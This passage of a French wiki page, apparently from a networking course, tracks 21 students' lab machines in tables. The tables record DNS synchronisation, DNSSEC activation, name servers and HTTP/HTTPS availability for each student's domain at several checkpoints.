| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3615) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.bigorneau.fun&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || ||  &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.munchkin.site&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || non || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.siamois.site&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || non || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030510) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.nyala.website&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || non || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.ornithorynque.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || non&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.axolotl.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.caribou.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || non&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || non || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || non || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || non || non || non&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.fennec.pics&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;&amp;lt;code&amp;gt;ns.castor-canard.lol&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;OK&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 18h30 (services) ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC !! Serveurs de noms &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030506) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;aigle.lol name server ns.nyala.website. &amp;lt;br /&amp;gt;aigle.lol name server ns1.aigle.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour aigle.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.aigle.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.aigle.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3616) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || chevreuil.lol name server ns.chevreuil.lol. || pas de serveur HTTP pour chevreuil.lol || pas de serveur HTTP pour www.chevreuil.lol || pas de serveur HTTPS pour chevreuil.lol || pas de serveur HTTPS pour www.chevreuil.lol &lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3616) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || belette.lol name server ns.belette.lol. || pas de serveur HTTP pour belette.lol || pas de serveur HTTP pour www.belette.lol || pas de serveur HTTPS pour belette.lol || pas de serveur HTTPS pour www.belette.lol &lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3614) || DNSSEC non activé ||  &amp;lt;div style='color: green;'&amp;gt;esturgeon.fun name server ns.truite.fun.&amp;lt;br /&amp;gt;esturgeon.fun name server ns.esturgeon.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.esturgeon.fun&amp;lt;/div&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3631) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || palourde.fun name server ns.palourde.fun. || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.palourde.fun&amp;lt;/div&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || DNS non synchronisés (serial1=3622, serial2=3615) || DNSSEC non activé || bigorneau.fun name server ns.bigorneau.fun. || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour bigorneau.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.bigorneau.fun&amp;lt;/div&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060302) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;munchkin.site name server ns.siamois.site. &amp;lt;br /&amp;gt;munchkin.site name server ns.munchkin.site.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour munchkin.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.munchkin.site&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour munchkin.site || pas de serveur HTTPS pour www.munchkin.site &lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3608) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;ecureuil.pics name server ns.lynx.pics.&amp;lt;br /&amp;gt; ecureuil.pics name server ns.ecureuil.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour ecureuil.pics || pas de serveur HTTP pour www.ecureuil.pics || pas de serveur HTTPS pour ecureuil.pics || pas de serveur HTTPS pour www.ecureuil.pics &lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060306) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;siamois.site name server ns.siamois.site. &amp;lt;br /&amp;gt;siamois.site name server ns.munchkin.site.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour siamois.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.siamois.site&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour siamois.site || pas de serveur HTTPS pour www.siamois.site &lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3608) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;lynx.pics name server ns.lynx.pics. &amp;lt;br /&amp;gt;lynx.pics name server ns.ecureuil.pics. || pas de serveur HTTP pour lynx.pics&amp;lt;/div&amp;gt; || pas de serveur HTTP pour www.lynx.pics || pas de serveur HTTPS pour lynx.pics || pas de serveur HTTPS pour www.lynx.pics &lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || DNS non synchronisés (serial1=2022030507, serial2=2022030510) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;nyala.website name server ns.nyala.website. &amp;lt;br /&amp;gt;nyala.website name server ns1.aigle.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour nyala.website&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.nyala.website&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.nyala.website&amp;lt;/div&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || ||  || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3619) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;ornithorynque.lol name server ns.ornithorynque.lol. &amp;lt;br /&amp;gt;ornithorynque.lol name server ns.caribou.lol.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour ornithorynque.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.ornithorynque.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour ornithorynque.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.ornithorynque.lol&amp;lt;/div&amp;gt; &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3611) || DNSSEC non activé || Host axolotl.lol not found: 2(SERVFAIL) || pas de serveur HTTP pour axolotl.lol || pas de serveur HTTP pour www.axolotl.lol || pas de serveur HTTPS pour axolotl.lol || pas de serveur HTTPS pour www.axolotl.lol &lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3618) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || caribou.lol name server ns.caribou.lol. || pas de serveur HTTP pour caribou.lol || pas de serveur HTTP pour www.caribou.lol || pas de serveur HTTPS pour caribou.lol || pas de serveur HTTPS pour www.caribou.lol &lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3610) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || fennec.pics name server ns.fennec.pics. || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.fennec.pics&amp;lt;/div&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3609) || DNSSEC non activé || castor-canard.lol name server ns.castor-canard.lol. || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.castor-canard.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour castor-canard.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.castor-canard.lol&amp;lt;/div&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu 19/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC !! Serveurs de noms &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030506) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;aigle.lol name server ns1.aigle.lol.&amp;lt;br /&amp;gt;aigle.lol name server ns.nyala.website.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.aigle.lol&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour aigle.lol || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.aigle.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3623) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;chevreuil.lol name server ns.chevreuil.lol.&amp;lt;br /&amp;gt;chevreuil.lol name server ns.belette.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour chevreuil.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.chevreuil.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3622) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;belette.lol name server ns.chevreuil.lol.&amp;lt;br /&amp;gt;belette.lol name server ns.belette.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour belette.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.belette.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3614) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;esturgeon.fun name server ns.truite.fun.&amp;lt;br /&amp;gt;esturgeon.fun name server ns.esturgeon.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour esturgeon.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.esturgeon.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3638) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: black;'&amp;gt;palourde.fun name server ns.palourde.fun.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour palourde.fun&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.palourde.fun&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060302) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;munchkin.site name server ns.siamois.site.&amp;lt;br /&amp;gt;munchkin.site name server ns.munchkin.site.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour munchkin.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.munchkin.site&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour munchkin.site || pas de serveur HTTPS pour www.munchkin.site&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3608) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;ecureuil.pics name server ns.lynx.pics.&amp;lt;br /&amp;gt;ecureuil.pics name server ns.ecureuil.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour ecureuil.pics || pas de serveur HTTP pour www.ecureuil.pics || pas de serveur HTTPS pour ecureuil.pics || pas de serveur HTTPS pour www.ecureuil.pics&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2024060306) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;siamois.site name server ns.munchkin.site.&amp;lt;br /&amp;gt;siamois.site name server ns.siamois.site.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour siamois.site&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.siamois.site&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour siamois.site || pas de serveur HTTPS pour www.siamois.site&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3608) || DNSSEC non activé || &amp;lt;div style='color: green;'&amp;gt;lynx.pics name server ns.lynx.pics.&amp;lt;br /&amp;gt;lynx.pics name server ns.ecureuil.pics.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour lynx.pics || pas de serveur HTTP pour www.lynx.pics || pas de serveur HTTPS pour lynx.pics || pas de serveur HTTPS pour www.lynx.pics&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 2022030510) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;nyala.website name server ns1.aigle.lol.&amp;lt;br /&amp;gt;nyala.website name server ns.nyala.website.&amp;lt;/div&amp;gt; || pas de serveur HTTP pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.nyala.website&amp;lt;/div&amp;gt; || pas de serveur HTTPS pour nyala.website || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.nyala.website&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3624) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;ornithorynque.lol name server ns.caribou.lol.&amp;lt;br /&amp;gt;ornithorynque.lol name server ns.ornithorynque.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour ornithorynque.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.ornithorynque.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3611) || DNSSEC non activé || &amp;lt;div style='color: black;'&amp;gt;Host axolotl.lol not found: 2(SERVFAIL)&amp;lt;/div&amp;gt; || pas de serveur HTTP pour axolotl.lol || pas de serveur HTTP pour www.axolotl.lol || pas de serveur HTTPS pour axolotl.lol || pas de serveur HTTPS pour www.axolotl.lol&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3624) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;caribou.lol name server ns.caribou.lol.&amp;lt;br /&amp;gt;caribou.lol name server ns.ornithorynque.lol.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour caribou.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.caribou.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || &amp;lt;div style=&amp;quot;color: blue;&amp;quot;&amp;gt;HTTPS par letsencrypt ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3610) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: black;'&amp;gt;fennec.pics name server ns.fennec.pics.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour fennec.pics&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.fennec.pics&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;DNS synchronisés&amp;lt;/div&amp;gt; (serial 3612) || &amp;lt;div style='color: green;'&amp;gt;DNSSEC activé&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;castor-canard.lol name server ns.castor-canard.lol.&amp;lt;br /&amp;gt;castor-canard.lol name server ns.fennec.pics.&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTP pour www.castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour castor-canard.lol&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;serveur HTTPS pour www.castor-canard.lol&amp;lt;/div&amp;gt;&lt;br /&gt;
